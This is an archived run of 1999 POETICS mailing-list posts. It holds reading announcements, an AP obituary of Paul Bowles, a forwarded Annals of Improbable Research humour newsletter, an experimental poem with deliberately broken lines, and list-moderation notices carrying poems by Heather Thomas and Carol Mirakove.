Lee Ann Brown, 35 years old and a native of Charlotte, North Carolina, presently lives, writes, and teaches in New York City. Her first book Polyverse (Los Angeles: Sun & Moon, 1999) is a wild compendium of jubilant, erotic, tuneful, melancholy, manic, and altogether indispensable poems that weave into a polyphonic chorus the voices of Brown's "excitement sisters"-- from Emily Dickinson and Gertrude Stein to Liz Phair and the Breeders. A teacher long associated with the Jack Kerouac School of Disembodied Poetics at Naropa, Brown is also the publisher of Tender Buttons books, since the late-1980s a high-energy locus of feminist avant-garde writing by figures such as Bernadette Mayer, Harryette Mullen, Rosmarie Waldrop, Anne Waldman, Hannah Wiener, and Jennifer Moxley. Brown has recently completed work on a second collection, The Sleep That Changed Everything. A sample of Brown's work can be accessed on the web at

http://bostonreview.mit.edu/BR23.5/Equi.html

Prior to joining the English Department faculty at the University of Maine this fall, Ben Friedlander was a defining presence in the poetic communities of Berkeley and Buffalo. Co-editor of Jimmy & Lucy's House of K, Dark Ages Clasp the Daisy Root, and most recently of the web-journal Lagniappe (with Graham Foust), Friedlander is the author of Time Rations (Oakland: O Books, 1992) and numerous chapbooks with Meow Press in Buffalo, including Selected Poems (1998). Working at the limits of a compressed lyric idiom, Friedlander is a poet of exuberant negativity, historical vulnerability, and supercharged ideological identifications. In 1997, the University of California published the Collected Prose of Charles Olson, co-edited by Friedlander and the legendary anthologist and editor Donald Allen (http://www.ucpress.edu/books/pages/6739.html). Samples of

Friedlander's work are available at

http://bostonreview.mit.edu/BR23.3/poetrysampler.html

Other Poetry Events of Note

Monday, 15 November, Noon Sigma Tau Delta Open Floor Poetry / Short Prose Reading at Wicks Reading Room (Neville 304) Contact Ryan Seely, Jaimi Allen, Kristen Dobler, Amber Thurlow, or Margaret Lukens

Tuesday, November 16, 8:30 Poetry/Prose at the Bear Brew Pub Contact Terry Crouch for more information

Friday, December 3 Jennifer Moxley and Anselm Berrigan read in the New Writing Series Time and room to be announced

Wednesday, December Reading and Book Party to celebrate the publication of Constance Hunting's Natural Things: Collected Poems 1969-1998 (National Poetry Foundation) Time and room to be announced

And for more information, link to
Polyverse at
http://www.sunmoon.com/lit_lives/brown.html
Lagniappe at
http://www.acsu.buffalo.edu/~foust/lagniappe.html
Small Press Distribution at
http://www.spdbooks.org/
The Electronic Poetry Center at
http://writing.upenn.edu/epc/
Steve Evans's review of Friedlander's Period Piece (Buffalo: Porci con le ali, 1998) on Notes to Poetry
http://www.bway.net/~arras/issue2/newnotes2/notes14.htm

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355. **Chris Funkhouser**
NEWARK REVIEW, Vol. 2, set 5 now available
Thu 18 Nov 1999

N E W A R K R E V I E W
Vol. 2, set 5

is coursing across the Web

features:

M. Alexander
Amiri Baraka
Erin Burley
Enid Dame
Anne Fessenden
Chris Funkhouser
Theodore A. Harris
Sumanth Janardhan
Anne McMahon
Deborah Meadows
Rebecca Schmoyer
Ed Smith
Peter Tomassi

http://megahertz.njit.edu/~newrev/v2s5

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356. **Ron Silliman**
Paul Bowles
Thu 18 Nov 1999

The original version of this had Allen Ginsberg's name misspelled. It would be nice if it got onto the list before, say, next Tuesday....

Ron

By The Associated Press

TANGIERS, Morocco (AP) -- Paul Bowles, the American writer and composer best known for his novels in exotic North African settings, died today in Morocco, the Italian Hospital said. He was 88.

Bowles had been hospitalized since Nov. 7 with serious cardiac problems. He died of a heart attack in the Mediterranean port of Tangiers, where he had lived for more than 50 years.

In his first and most famous novel, ``The Sheltering Sky,'' an American couple go to North Africa to try to grow closer together. Instead, they drift further apart. He dies of typhoid; she wanders out into the desert and moves in with the Bedouins.

Bowles' descriptions of burning sands, open skies and lonely North African landscapes, and his finesse in describing the psychological unraveling of a character lost amid the sands, prompted Modern Library to name ``The Sheltering Sky,'' as one of the 100 best English-language novels of the century.

Director Bernardo Bertolucci battled the scorching heat of the Sahara to make the book into a 1990 movie that starred John Malkovich and Debra Winger.

Bowles was born Dec. 30, 1910, in New York City, but rarely returned to his native city after settling in 1947 in Tangiers, the great port sprawled at the foot of the Rif Mountains on Africa's northern coast across the Mediterranean from Spain.

Bowles became a father figure to several writers, including William Burroughs and Allen Ginsberg. Truman Capote was also among those who traveled to see him and share in the hedonism of the Tangiers scene, well known to expatriates.

The novels ``Let It Come Down'' and ``The Spider's House'' are also set in Morocco.

Other works -- ``The Delicate Prey and Other Stories'' and the novel ``Up Above The World,'' for instance -- are set elsewhere, often in Latin America.

Tennessee Williams, a friend of Bowles, called him the American writer who probably best represented the world in which we live ``so precariously from day and night to each uncertain tomorrow.''

Despite his prolific writing career, Bowles' early talent was music and he built an impressive career for himself as a composer at a young age.

Bowles studied with the modern American composer Aaron Copland and worked closely with other greats including Leonard Bernstein. During the 1930s and 1940s, Bowles was a sought-out composers of Broadway music.

His music was featured in the plays of Orson Wells, Tennessee Williams and William Saroyan. Bowles also composed chamber works, opera and art songs.

During his long years in Morocco, Bowles collected and documented the music of the people of the Rif Mountains for the U.S. Library of Congress.

Born to Claude Dietz Bowles, a dentist, and Rena Winnewisser Bowles, Bowles was an only -- and lonely -- child. Lacking playmates, he entertained himself, much of the time writing poetry and stories.

He spent a total of a year at the University of Virginia, in two installments interrupted by a trip to Paris. After a surrealist literary review published a couple of his poems, his life quickly became one of writing, composing, traveling and knowing almost every important person one can think of in the literary, theater and musical worlds.

In 1938, he married Jane Sydney Auer, also a writer. The couple lived here and there, including Mexico, Brooklyn Heights and Sri Lanka (then Ceylon), before settling in Tangiers. His wife died in 1973.

Bowles returned to music late in his life, composing the score in 1992 for an Arabic-language production of the Greek tragedy ``Hippolytus'' for which French fashion giant Yves St. Laurent designed the costumes.

He was also an accomplished translator. Over the years, Bowles translated the works of Moroccan writers Mohammed Choukri and Mohammed Mrabet, a storyteller, winning him deep admiration in his adopted land.

Bowles, whose sight failed him as he grew old, had lived as a recluse in Tangiers for many years. He was served to his last breath by Abdelouahed Boulaich, his Moroccan butler who had worked for him for the last 30 years.

There was no immediate word on survivors or funeral plans.

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357. Mary Burger
A reading in DC, 11/21
Thu 18 Nov 1999

Chris Vitiello and Mary Burger read
Sunday, Nov. 21, 3:00 p.m.
at the Black Box Theater,
DC Arts Center
2438 18th St. NW
Washington DC 20009
Tel. [redacted]

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358. Al Filreis
Watten/DuPlessis webcast recording
Thu 18 Nov 1999

PhillyTalks #13 - a double reading and discussion between and with Barrett Watten and Rachel Blau DuPlessis - was webcast live from the Kelly Writers House the other night, Monday November 15. The recording of the live webcast is now available here:

http://www.english.upenn.edu/~wh/webcasts/

Two more 1999 Writers House programs will be webcast live:

+ Ron Silliman, Bob Perelman, Jena Osman, Brian Kim Stefans, 12/7/99:
Tuesday, December 7, 7:30 PM: webcast symposium with contemporary poets,

Ron Silliman, Bob Perelman, Jena Osman, Brian Kim Stefans, hosted &
moderated by Al Filreis and Shawn Walker

+ Edwin Torres, 12/11/99
Saturday, December 11, 4 PM: webcast performance by
and discussion with Edwin Torres, hosted by Al Filreis

(Times are given in eastern time.)

Al Filreis
The Class of 1942 Professor of English
Faculty Director, the Kelly Writers House
University of Pennsylvania
www.english.upenn.edu/~afilreis

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359. Tony Green

Fw: (Fwd) mini-AIR November 99 - Beloved Building, Foggy Fogies, e

Thu 18 Nov 1999

From: [redacted] <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 18 November 1999 20:32
Subject: (Fwd) mini-AIR November 99 - Beloved Building, Foggy Fogies, e

PLEASE FORWARD/POST AS APPROPRIATE
==========mini-Annals of Improbable Research ("mini-AIR")
Issue Number 1999-11
November, 1999
ISSN 1076-500X
Key words: improbable research, science humor, Ig Nobel, AIR, the
A free newsletter of tidbits too tiny to fit in
Annals of Improbable Research (AIR),
the journal of inflated research and personalities
==========
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1999-11-24 Please Forward/Post This Issue! (*)

Items marked (*) are reprinted in every issue.

mini-AIR is
a free monthly *e-supplement* to AIR, the print magazine

1999-11-02 mini-Housekeeping

TORONTO
3 AIR shows happening up in TORONTO in early Dec.
(see Section 1999-11-20)

NEW ZEALAND -- NEW MEXICO -- DC
Hosts urgently wanted for AIR shows in New Zealand (in Dec or Jan), New Mexico (Early Feb), and the DC area (Mid Feb).
(see Section 1999-11-10)

1999-11-03 What's in the Magazine

AIR 5:6 (November/December 1999) is the long-awaited special EDUCATION (or perhaps SPECIAL EDUCATION) issue. It includes, among other things:

"The Dead Grandmother / Exam Syndrome," by Mike Adams. The phenomenon is studied in depth. It can be described as follows: A student's grandmother is far more likely to die suddenly just before the student takes an exam than at any other time of year.

"To His (Her?) Uncomprehending Student in the Special Help Session," a poem by Robert M. Hawthorne. It begins:

"Had we but world enough, and time,
This slowness, Laddie, were no crime,
We would sit down and think which way
To think, to cipher, and to weigh
The many ways that we might wend
To come at last to problem's end..."

"How to Get Tenure," by Harry N. David. The author describes a range of services to bolster one's shot at tenure. These include paid recommendations, flurries of reprint requests mailed from prestigious addresses, and other basics.

"Adhesive Tape Technology and the Rapid Expansion of Surgical Sub-Specialties," by Mort Malkin. The surgical profession has undergone major changes, most of which can be attributed to adhesive tape.

These and many, many other articles and features are in the current issue of AIR. You are, of course, invited to subscribe to that splendid magazine. (What you are reading at this moment, of course, is mini-AIR, a tiny, monthly, electronic supplement to the print magazine.)

1999-11-04 Beloved Building

If you are the president or chancellor of a relatively young college or university, we invite you to join the Grand Old Building Movement Foundation (GOBMF). We at GOBMF will help you obtain that which you most desire: a historic, atmospheric old laboratory building that inspires alumni/ae to weep tears and cough up donations.

Many older institutions have buildings that are just what you need, and are only too eager to replace them with shiny new glass- and-steel towers. Almost always, the old buildings are just knocked down. Such waste! We at GOBMF would be happy to help you obtain title to an otherwise doomed old laboratory building, and move it by trailer truck, C5A transport plane, barge, trebuchet, or Federal Express to your campus.

This month's special is Gibbs Laboratory, a magnificent, historic, small brick building at Harvard University (see http://www.fas.harvard.edu/map/Level4/SciLabs/gibbs.shtml). Gibbs Laboratory is scheduled for demolition in March of next year. If you have a suitable home for it, and the willingness and ability to move it lock, stock, and vacuum hoods, please get in touch with us right away at:

Grand Old Building Movement Foundation
C/O Annals of Improbable Research

1999-11-05 Ig Radio Broadcast Nov. 26

The Ig radio broadcast will be Friday, Nov. 26, the day after American Thanksgiving, on NPR's "Science Friday" program. The Ig will be hour one of the two-hour program. See http://www.sciencefriday.com for a list of stations and times. General Ig info is at http://www.improbable.com/ig/ig-top.html

1999-11-06 Microwave Dirt Alert

Investigator Paul Koch sends the following alert, which assaulted him in the Fall, 1999 issue of the research journal Nurse Line:

"In the spring issue of _Nurse Line_, we suggested disinfecting wooden cutting boards and utensils in a microwave for up to five minutes. A few readers wrote to let us know that some wooden items charred after a few minutes in the microwave.

"Because of variations in microwave power and wood, we now recommend that you do not use a microwave to disinfect wooden items. Instead, run them through the dishwasher, or scrub with soap and hot water."

1999-11-07 Cotton Man

The news that Bayer Corporation has stopped putting little cotton wads in its aspirin bottles has sent shock waves through the scientific community. (See the October, 1999 issue of "Packaging World" for details of the stoppage.) Investigator J. Ramon Pierce sent us this plea, which we pass on to you:

"I have been collecting and studying the cotton in Bayer aspirin bottles since 1952. (I am primarily interested in their structure.) Mine is the third largest fully documented, fully catalogued such collection in the world. Due to an illness, I was unable to obtain any cotton specimens from bottles packed during the period May 18-24, 1998. If any of your readers have such specimens I would be grateful to hear from them."

Investigator Pierce does not have email. Anyone wishing to correspond with him is invited to write us at:

Ramon Pierce
Aspirin Cotton Collector
C/O Annals of Improbable Research

and we will forward your message to it to its ultimate destination. Please do not send cotton wads, or cotton anything, to us, as we lack the proper machinery.

1999-11-08 Math's Cutting Edge

Several mathematicians have written us lately to complain about "the unfairness of it all." They are upset that the plural of the word "AXIS" (an item

they use professionally) is the same as the plural of the word "AX" (an item they prefer to use only when off duty). We have been unable to calm these anguished individuals, and would like to hear from anyone who can help them.

1999-11-09 Foggy Fogies

As we approach the Great Rolling of the Digits, in which one will become two and three nines will be replaced by zeroes, it is time to answer a question that has puzzled many of our professional mathematician readers:

What is ethnomathematics?

Like you, we had not the foggiest idea. This month's Fog Survey Question is: "Who has *THE* foggiest idea of what ethnomathematics is? That is, whose idea is the most foggy?"

Please vote for one of the following, or write in your own candidate's name:

#1. Ubiratan D'Ambrosio, who according to several sites on
the Internet has defined Ethnomathemtics as
"the maths practised among cultural groups such as
national-tribal societies, labour groups, children of a
certain age bracket, professional classes and so on"

#17. Arthur B. Powell and Marilyn Frankenstein, editors of
the book "Ethnomathematics" (State University of New York
Press, 1997.

#496. The International Study Group on Ethnomathematics,
whose web site is http://www.rpi.edu/~eglash/isgem.htm

The above choices are numbered ethnomathematically.

Please send your vote to <[redacted]>

1999-11-10 New Zealand Alert (New Mexico, etc., too)

Millennial Diva Margot Button, star of the Ig Nobel mini-operas, will be visiting her native New Zealand, avec entourage, during December and January. If you are in New Zealand and would like to host a special AIR show (with Ig opera songs and a special AIR slide show) please get in touch RIGHT NOW with us at <[redacted]> or with Margot at <[redacted]>.

On February 5, AIR's editor will be in New Mexico doing an AIR show at New Mexico Tech. If you are elsewhere in New Mexico, and would like to host an AIR show around then, please get in touch SOON. Ditto for AIR shows in the Washington, DC area in mid-to- late Feb, and California in March or April.

1999-11-11 Most Controversial

This month's education survey asked:
"What subject do you personally find controversial,
and so want removed from the schools?"

The survey was inspired by the educational authorities in several American states, who insist that evolution should not be mentioned in classrooms because it is "controversial." Here are the subjects that should be banned by popular demand.

29% Religion
28% Language (reading and/or writing)
19% History
9% Physical Education (aka "gym")
9% Trigonometry
6% other things (less than 1% vote for each)

Some specific comments:

"All subjects are potentially controversial. Therefore, I don't
think schools should teach anything; they should just be large
repositories of information, with a staff of excellent
librarians."
--Peggy Coquet

"Homework is a significant source of parent/child discord. It
should be eliminated."
--Jim Spahr

"I attended private Catholic schools so there were no
controversial
subjects or theories that could not be answered by a church
authority."
--Peter Andrijeski

"I like piano music, but my husband prefers violin music. If we had any kids, and they came home talking about music, it would start an argument." --Betty Lise Anderson

"Speling is possably the most controvurshul subjek."
--Iain Gallimore

"I have tired of reading all the controversy surrounding the existence (or non-existence) of sub-atomic particles. Let's stop teaching about sub-atomic physics, and its kindred cousin, quantum mechanics. In all probability, it's all just a bunch of equations, anyway." --Barry Lunt

1999-11-12 Most Controversial (English)

Certain respondents to the Controversial Survey were convulsed, in one way or another, with or by the English language. The following comments express their anguish:

"I think English grammar should be banned from schools. I wasted many hours arguing over whether 'to boldly go' was acceptable, or improper because of the split infinitive." --E.A. Gedeon

"I want the entire subject of mathematics banned from classroom because I was a math-challenged English major, and therefore mathematics damages my self-esteem." --Gwyn McVay

"Our Organic Chemistry 2 class at the University of Wisconsin unanimously agreed that we could get a bunch of money for new chemistry equipment if the entire English department was eliminated."
--Kurt Swends

"Foreign languages. All sensible people speak UK English." --D. Ibbetson

1999-11-13 Project AIRhead 2000: Threats & Results

Here is a further random selection from the Project AIRhead 2000 collection of things inexplicably named (in whole or in part) 2000.

ITEM 1212120 (submitted by investigator Phillip I. Goldman) MOSAIC-2000, a software program that "begins testing, at more than 20 schools in December, its technique of confidentially vetting and rating potentially violent students on a scale of 1 to 10." [That description is from the New York Times.] The program is being developed by the US Bureau of Alcohol, Tobacco and Firearms working together with something called a "threat-evaluation company."

ITEM 20002 (submitted by investigator Lyle Wiedeman)
"RESULTS 2000: JOIN THE MASTERS OF OUR TIME," an event scheduled to happen on December 7 in Anaheim, California and at other times in other places. The lineup is listed on their web site (www.results2000.net) as follows:

Featuring:
  Anthony Robbins, William Bennett,
  Brian Tracy, Sanford Botkin
Special Guests:
  Hollywood Celebrity, Wayne Gretzky,
  Larry King, & Billy Blanks

1999-11-14 Relentless With a Biscuit

Len Fisher, co-winner of this year's Ig Nobel Physics Prize, for discovering the optimal way to dunk a biscuit, is at it again. Fisher and his colleagues have now

determined which beverages most enhance the flavor of which biscuits. Thanks to investigator Nigel Birch and others for alerting us to the news. A report can be seen at http://news.bbc.co.uk/hi/english/sci/tech/newsid_510000/510044.stm

1999-11-15 Tsk, Tsk, Zap

Many and varied have been the responses to our Tsk, Tsk Task Survey (of disgusting tasks assigned by scientists to their assistants). This one is from investigator JC, who requests that his full name not be mentioned:

"You know those invisible fences they have for dogs? The kind that gives the dog an electric shock if it crosses a perimeter wire? How do you suppose they develop the thing that delivers the shock? I was doing some consulting work for a company that I won't name, and the engineer working on the dog collar would make some tweaks to the circuit, put his hand near it, and turn it on. He'd recoil violently from the shock, then call over the technician and say, 'Okay, try it now.' "The technician would leave his computer and come over to the bench, and put his hand on the collar as power was applied. If it was really working well, he'd look like a cartoon character with his finger in a light socket. The one post-zap comment I remember was, 'The initial shock is better than this morning, but then it's not so good.'"

1999-11-16 Least Significant

We have all forgotten to honor the Least Significant Scientist of the Century. It's time to choose that person, and celebrate. Please send your vote for Least Significant Scientist of the Twentieth Century to <[redacted]>

1999-11-17 The Verdict on GM Crops

Here are the results of our Scientific Correctness Survey about genetically modified ("GM") crops:

17% GM crops are beneficial and risk-free,
and must not be restricted

17% GM crops are vile and dangerous,
and must be banned

33% I am undecided, and therefore opt for Choice #1

33% I am undecided, and therefore opt for Choice #2

RANT RATING FOR THIS SURVEY: 52% of all respondents
who included a comment used an exclamation point (!)

As with all our Scientific Correctness Surveys, this one settles a complex issue by means of a simple public opinion survey. Now we can all either stop thinking about it or start thinking about it, as the case may be, and move on.

1999-11-18 Ancient Wisdom

The holidays are approaching. A gift subscription to Annals of Improbable Research is cheap, and will display your generosity not once but six, twelve, or eighteen times (according to how many years the subscription runs). Best of all, it will let you say of your gift recipient: "He/she has been an AIRhead since the twentieth century!" (Sub info in section 1999-11-21 below)

1999-11-19 MAY WE RECOMMEND: Bad Breath and Eye, Parrot Foot

Research reports that merit a trip to the library.
(For a much larger collection, see any issue of AIR.)

INSIDE THE SAUSAGE "Mathematical description of the growth of Lactobacillus sake and Lactobacillus pentosus under conditions prevailing in fermented sausages," M. U. Doßmann, R. F. Vogel, and W. P. Hammes, Applied Microbiology and Biotechnology, vol. 46, no. 4, 1996, pp. 334-9. (Thanks to Fiona Davies-McConchie for bringing this to our attention.)

WETTING: AT THE BRINK "Observation of short-range critical wetting," D. Ross, D. Bonn, and J. Meunier, Nature, vol. 400, 1999, pp. 737-9. (Thanks to Madhusudan Katti for bringing this to our attention.)

1999-11-20 AIRhead Events

==> Want to host an event?
Call or E-mail <[redacted]> [redacted].
==> For updates of this schedule, see http://www.improbable.com

IG NOBEL RADIO BROADCAST ON SCIENCE FRIDAY FRI, NOV 26 Annual special Ig Nobel Broadcast -- a specially edited recording of the Ig Nobel Prize Ceremony, broadcast on the day after American Thanksgiving. The program is NPR's "Science Friday With Ira Flatow." For details (and/or to -maybe- listen via the Internet), see http://www.sciencefriday.com

UNIV OF WATERLOO, ONTARIO TUES, DEC 7
2:30 pm. Details TBA.
INFO: Dan Berry <[redacted]>

CHEMICAL INSTITUTE OF CANADA, TORONTO SECTION WED, DEC. 8
8:30 pm. Univ. of Toronto, Erindale Campus
3359 Mississauga Rd.
AIR editor MARC ABRAHAMS will present an underview of improbable research. Includes the classic slide show "PROFESSOR LIPSCOMB Goes Shopping."
INFO: Jack Clark <[redacted]>

UNIVERSITY OF TORONTO THURS, DEC. 9
4:00 pm. Physics Department. Colloquium with AIR editor MARC

ABRAHAMS.
INFO: David Bailey <[redacted]> [redacted]

NASW PLENARY SESSION (at AAAS), WASHINGTON Thurs, Feb 17, 2000 8-10 am. AIR editor MARC ABRAHAMS will be part of the National Association of Science Writers (NASW) plenary session panel, together with John Rennie, Steve Petranek, and John Benditt, editors in chief of Scientific American, Discover, and Technology Review. There will be brief, possibly spectacular review of the Ninth 1st Annual Ig Nobel Prizes. This event is open to NASW members only. Info; Mary Knudsen <[redacted]>

=== 2000 ===

NEW MEXICO TECH, SOCORRO THURS, FEB 3
AIR editor MARC ABRAHAMS will present the latest news
about improbable research and the Ig Nobel Prizes
as part of the New Mexico Tech Performing Arts Series.
INFO: Ronna Kalish <[redacted]> [redacted]

AAAS ANNUAL MEETING, WASHINGTON DC FRI, FEB 18 9:00 pm. AIR authors will present their traditionally improbable session at the American Association for the Advancement of Science's annual meeting. Featuring, admong others, AIR editor MARC ABRAHAMS, "A Briefer History of Time" author ERIC SCHULMAN, and the more-or-less ORIGINAL CAST of one fo the Ig Nobel mini- operas starring mezzo- soprano MARGOT BUTTON and various Nobel laureates. Further details TBA.

TUFTS VET SCHOOL, PHI ZETA AWARDS CEREMONY THURS, FEB 24
AIR editor MARC ABRAHAMS will inculcate the new awardees with the
mysteries of improbable research.
INFO: Don Brown <[redacted]> [redacted] X84655

NEW ENGLAND SKEPTICAL SOCIETY --YALE UNIV. SEPTEMBER
Date and exact location TBA
AIR editor MARC ABRAHAMS will discuss and illustrate the Ig Nobel
Prizes and improbable Research in general.
INFO: Jon Blumenfeld <[redacted]>
http://www.theness.com/member.html

TENTH FIRST ANNUAL IG NOBEL PRIZE CEREMONY THURS, OCT 5
Sanders Theatre, Harvard University.
Tickets will go in sale in August.

|--- ADVANCE LISTING--|
MEDICAL LIBRARY ASSOCIATION, UNIV OF UTAH SEPT 9-15, 2002
Exact date and location(s) TBA.
AIR editor MARC ABRAHAMS will present a lecture on improbable

research at a meeting of the Midcontinental Chapter of the Medical Library Association (MCMLA), and be part of a panel discussion on electronic publishing.
INFO: Kathleen McCloskey <[redacted]> 801/[redacted]

1999-11-21 How to Subscribe to AIR (*)

Here's how to subscribe to the magnificent bi-monthly print journal The Annals of Improbable Research -- (the real thing, not just the little bits of overflow material you have been reading here in mini-AIR)
.....
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Canada/Mexico 1 yr/$27 US 2 yrs/$45 US 3 yrs/$67 US
Overseas 1 yr/$40 US 2 yrs/$70 US 3 yrs/$99 US

[Copies of back issues are each $8 in the USA,
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.....
Send payment (US bank check, or international money order, or Visa, Mastercard or Discover info) to:
The Annals of Improbable Research (AIR)
PO Box 380853, Cambridge, MA 02238 USA
[redacted] FAX:[redacted] [redacted]

1999-11-22 How to Receive mini-AIR, etc. (*)

What you are reading right now is mini-AIR. Mini-AIR is a (free!) tiny monthly *supplement* to the bi-monthly print magazine.
[redacted]
The body of your message should contain ONLY the words
SUBSCRIBE MINI-AIR MARIE CURIE
(You may substitute your own name for that of Madame Curie.)

To stop subscribing, send the following message: SIGNOFF MINI-AIR

1999-11-23 Our Address (*)

Annals of Improbable Research (AIR)
PO Box 380853, Cambridge, MA 02238 USA
[redacted] FAX:[redacted]

EDITORIAL: [redacted]
SUBSCRIPTIONS: [redacted]
WEB SITE: http://www.improbable.com/

1999-11-24 Please Forward/Post This Issue! (*)

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mini-AIRheads
EDITOR: Marc Abrahams ([redacted])
MINI-PROOFREADER AND PICKER OF NITS (before we introduce the last
few at the last moment): Wendy Mattson <[redacted]>
WWW EDITOR/GLOBAL VILLAGE IDIOT: Amy Gorin
([redacted])
COMMUTATIVE EDITOR: Stanley Eigen ([redacted])
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Rohloff
MAITRE DE COMPUTATION: Jerry Lotto
AUTHORITY FIGURES: Nobel Laureates Dudley Herschbach, Sheldon
Glashow, William Lipscomb, Richard Roberts
==========

↑ Index

360. **Y.**

Death of Paul Bowles

Thu 18 Nov 1999

Fwd from: Randy Murakoshi-Barnwell <[redacted]>

> 18 November 1999
>
> Hello ALL: Especialy media folks on the List...
>
> As some of you may have heard, the American writer Paul Bowles has passed
> away thia morning.

>
>
http://news2.thls.bbc.co.uk/hi/english/world/americas/newsid
%5F526000/526429
.stm
>
> Paul was a dear friend of mine and mentor. We did several projects (CDs,
> books) together in the late 80's and early 90's. We have remained friends
> ever since I went to Morocco at his invitation in 1990.
>
> If I can be of reference assistance I would gladly help for any news or
> publication. When it comes to Paul, I am what Japanese call "otaku"
> (obssessed)
>
> www.istikhara.com or
>
> http://www.istikhara.com/consult/index.htm
>
> The news is very saddening. I was planning to see him in February 2000.
>
> Best,
> Randall Murakoshi-Barnwell
> www.istikhara.com
> Director

↑ Index

361. Alan Sondheim
In the Dark
Thu 18 Nov 1999

-

In the Dark

Where are you Je
nnifer, who are
you going out wi
th, when I mean
(think of)
the state that N
ikuko is going t
o be in? that wh
en the dance sto

ps coming
down the pike? D
oes Doctor Leopo
ld Konninger kno
w much about thi
s state of
affairs? Tell me
 soon, Alan. gje
nniefer goin ot
stat nukuko tuo
danc doctr
leopold konningr
 kno stat tel

But in fact she
continues to dan
ce because there
's no way out of
stardom ballet,
the pirouettes g
oing on and on a
nd on like beaut
iful flying swan
s. So she's movi
ng like a maelst
rom (crazy perso
n, schizophrenic
) and
garbling text ab
out her now, say
s Doctor Leopold
 Konninger. gjen
niefer
goin ot stat nuk
uko tuo danc doc
tr leopold konni
ngr kno stat tel
 fac con-
tinus danc becaw
s therz fo danc
poruets goin not
hng shez malesto

m garbl-
ling tex sayz Le
op Konninger

↑ Index

362. Bob Haynes
Question about Dionne Brand
Thu 18 Nov 1999

Does anybody know where I can find internet resources on the poet Dionne Brand and the particular episode in her recent film "Sisters in the Struggle" that regarded the Caribbean women working in Canada. I'm especially interested in historical documentation and commentary in addition to Brand's. Also if anyone knows of additional films that touch on the topic of domestic labor in Canada, especially as it pertains to black/Caribbean women.

thanks, bob

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363. Poetics List Administration
POETICS: approval required (DD0A5C0D)
Thu 18 Nov 1999

--On Thursday, November 18, 1999, 10:33 AM -0500 "L-Soft list server at University at Buffalo (1.8d)" <[redacted]> wrote:

This message was originally submitted by [redacted] to the
POETICS list at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK"
mechanism, ignore it, or repost an edited copy. The message will expire
automatically and you do not need to do anything if you just want to discard
it. Please refer to the list owner's guide if you are not familiar with the
"OK" mechanism; these instructions are being kept purposefully short for your
convenience in processing large numbers of messages.

********** 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 PM 8 **********

HIGHWIRE PRESENTS==>>

C A R O L M I R A K O V E (she's back, straight from L.A.!!))

H E A T H E R T H O M A S

Saturday, November 20, 8PM (back to normal)

Highwire Gallery
137 North Second Street
Philadelphia

BYOB

Greg and Kyle ask that you pass this announcement to friends.

Carol will read from her book Wall (Ixnay, 1999)

Heather Thomas' Resurrection Papers (Chax Press) is forthcoming.

Jenn and Chris McCreary will be in the house hustling Ixnay IIIs and Carol's new book, both hot of the presses.

****
*

POEMS

> *Heather Thomas*

> Thought 510,999: Doctor of Philosophy
>
> Delicate ear to dark wood, carpet swirling
> florals, opera over water to houseboat lanterns
>
> I lie this night in the theatre
> of desire after desire and there is more--
>
> pieces of wood loosen under me
> break off the infrastructure
> burgundy walls of memory
> maximally excite.
>
> On a banister under the dome I perform
> language as memory and lvoe
> labrythine and stripped
>
> knowledge as a question, craving the flow--
>
> there is no way

> to rise and nothing
> holds me up, my hands
>
> clasped underneath
> expose my heart
> the air pulls apart
>
> imprint of our hands together.
>
****
> Carol Mirakove

> *go-kart jurisdiction*
>
> *it's the hyphenated kind*
> *with a k in the middle*
> *downhill no brakes running on*
> *you snuff bars*
> *bongos &*
> *the plum lady*
> *love pump under foot*
> *freckles the sidewalk with pulp*
> *steamy slush*
> *wind up*
> *clitoris metal*
> *sparking speaking on metal*
> *hair traipsed on a corner crossing*
> *white paint*
> *crayola-crusted*
> *egos in the lines*
> *& that's why I love you exacto knife*
> *for being something to smash*
> *this*
> *reckoning or not-speed*
> *is not fun, not fucking fun*
> *so drive I sd. & for no-christ's sake*
> *shut yr eyes*
> *cause I'm the lazy quick type*
> *with a patch of wind & not much clock &*
> *wind*
> *& wind*

********** IXNAY ANNOUNCEMENT

We are pleased to announce the publication of ixnay #3, our new issue chock full of fine work by:

Seth Frechie
Rod Smith
Louis Cabri
Marcella Durand
Gregory Vincent St. Thomasino
Allison Cobb
Mark DuCharme
Dana Lisa Lustig
Spencer Selby
Kristine Grow
Patrick F. Durgin
Tom Devaney
Brendan Lorber
Sue Landers
Jason Nelson
Joel Dailey
Jeffrey Jullich
Ethan Fugate
Matt Hart
Randy Prunty &)ohnLowther
Elizabeth Treadwell
Hank Lazer

as well as

Shawn Walker's review of Greg Fuchs's "Came Like It Went"

& Chris McCreary's short reviews of Andrew Mossin's "The Epochal Body," Cole
Swensen's "O (excerpts)", and Gustaf Sobin's "Articles of Light & Elation."

We are also delighted to announce the publication of the latest ixnay press

chapbook, WALL by carol mirakove. This lovely chapbook features glossy black
& white (& sometimes orange) cover art by the author herself.

ixnay #3 can be had for $5; WALL is $6. Order both for the low low price of

$10 & save!!! Feel free to e-mail orders -- we'll ship now & you can pay later by making out a check to either Chris McCreary or Jenn McCreary, not ixnay.

Also, Peter Ganick's chapbook "Immanence 3," published earlier this year by

ixnay press, is now available via Small Press Distribution or straight from

ixnay for $6. (Note: "Immanence 3" is the only ixnay title available thru SPD. All others must be ordered directly from ixnay.)

Orders to:

ixnay press
c/o McCreary
1164 S. 10th Street
Philadelphia PA 19147
[redacted]

Thanks.

Chris McCreary & Jenn McCreary
co-editors, ixnay press

p.s. Apologies to anyone who receives multiple copies of this post due to membership on more than one listserv. If you would like to be removed from our individual mailing list, please e-mail us & let us know.

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364. Poetics List Administration

POETICS: approval required (4340AFED)

Thu 18 Nov 1999

--On Thursday, November 18, 1999, 12:42 PM -0500 "L-Soft list server at University at Buffalo (1.8d)" <[redacted]> wrote:

This message was originally submitted by [redacted] to the POETICS list
at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK" mechanism,
ignore it, or repost an edited copy. The message will expire automatically and
you do not need to do anything if you just want to discard it. Please refer to
the list owner's guide if you are not familiar with the "OK" mechanism; these
instructions are being kept purposefully short for your convenience in
processing large numbers of messages.

Northern Westchester Center for the Arts
Creative Arts cafe Poetry Series
272 No. Bedford Road
Mt. Kisco, NY 10549

Contact: Cindy Beer-Fouhy [redacted]
Fax # [redacted]

For immediate Release:

Poets &Writers' Amy Holman
Reads at Creative Arts Café Poetry Series

